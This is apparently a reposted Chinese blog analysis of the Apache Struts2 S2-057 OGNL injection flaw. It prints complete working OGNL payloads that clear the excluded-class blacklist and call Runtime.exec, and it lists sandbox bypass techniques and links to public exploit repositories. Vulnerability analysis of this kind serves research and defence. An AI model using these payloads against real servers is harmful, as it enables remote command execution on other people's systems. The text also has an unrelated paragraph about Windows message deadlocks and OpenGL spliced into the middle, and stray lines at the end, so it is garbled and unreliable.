<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
改成
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
使用上一个版本的exp发现没有弹出计算器,爆出如下信息,通过notepad++搜索源码,发现是在ognl/OgnlRuntime.java,进行下断点。
Two methods with same method signature but not providing classes assignable? "public abstract void java.util.Set.clear()" and "public void java.util.Collections$UnmodifiableCollection.clear()" please report!
中午时翻阅资料发现,在调用弹出框消息时,会调用sendmessage发送消息到消息队列,而sendmessage函数会一直等待消息返回,它不像postmessage函数,而这时主线程中的waitforsingleobject函数又是infinite,所以它一直无限等待,必然导致主线程阻塞,也就导致了消息循环的阻塞,所以这时大家就互相等待,死锁了,导致程序无响应.。那我们在下面两个函数下断点,由于允许运行控件导致页面重绘,所以一开始会调用release函数。glclearcolor()函数确定了窗口将清除成什么颜色,而glclear()函数实际完成清除窗口的任务.在设置了清楚颜色之后,以后每次调用glclear()时,窗口就会清除这种颜色.当然,可以再次调用glclearcolor()函数,更改当前的清除颜色,。

但是OgnlUtil.setExcludedClasses函数是对excludedClasses重新赋给一个新集合,并不是修改,所以我们赋值一个包含关紧要的类的黑名集合,从而达到了绕过。
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
Set<Class<?>> classes = new HashSet<>(); for (String className : classNames) { try {
classes.add(Class.forName(className));
} catch (ClassNotFoundException e) { throw new ConfigurationException("Cannot load excluded class: " + className, e);
}
}
excludedClasses = Collections.unmodifiableSet(classes);
}
所以最终exp如下
${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))}
但是第一次执行上面的exp会报500错误,第二次就不会报错了。


ognl.OgnlRuntime.callAppropriateMethod中通过getAppropriateMethod获取到合适的函数,不为空并且通权限的验证,就使用下面的invokeMethod执行ognl表达式里面的函数。这里看到excludedClasses跟默认设置的一样,前面我们不是使用setExcludedClasses设置了一个无关紧要的黑名单了吗?原因是修改的并不是当前context,而是修改的是request['struts.valueStack'].context,并没有更新到当前context,所以需要再执行一遍,将修改后的跟新到当前context就好了。
先后执行下面两个exp,就会发现不会报错500。

${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.'))}
${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))} 总结
总结一下防护手段:
1、添加黑名单
2、阉割掉一些属性
3、将属性设置私有或者将集合变成不可修改
总结一下绕过手段:
1、最开始覆盖绕过
%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties']
2、对象维度的覆盖
the framework sets the ognl context to be our actioncontext, and the value stack to be the ognl root object. (the value stack is a set of several objects, but to ognl it appears to be a single object.) along with the value stack, the framework places other objects in the actioncontext, including maps representing the application, session, and request contexts. these objects coexist in the actioncontext, alongside the value stack (our ognl root)。typeconverter converter, memberaccess memberaccess, map context)。at ognl.ognl.getvalue(ognl.java:494) ~[ognl-3.0.6.jar:。
3、阉割掉一些属性,找替代品(因为为了开发的方便,会有一些替代品的存在)
#ct=#request['struts.valueStack'].context
4、将属性设置私有或者将集合变成不可修改,找能够改变的方法
ou.setExcludedClasses('java.lang.Shutdown')
参考
OGNL 语言介绍与实践
Ognl表达式基本原理和使用方法
Struts2【OGNL、valueStack】就是这么简单
深入struts2 (一)—-Xwork介绍
OgnlContext源码分析
Struts2漏洞分析与研究之Ognl机制探讨
【Struts2-代码执行漏洞分析系列】S2-057
下载
https://archive.apache.org/dist/struts/
exp
https://github.com/Fnzer0/S2-057-poc
https://github.com/Ivan1ee/struts2-057-exp
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-114616-3.html
现在这种东西我都是放铁盒子里
市场管理局最低罚5万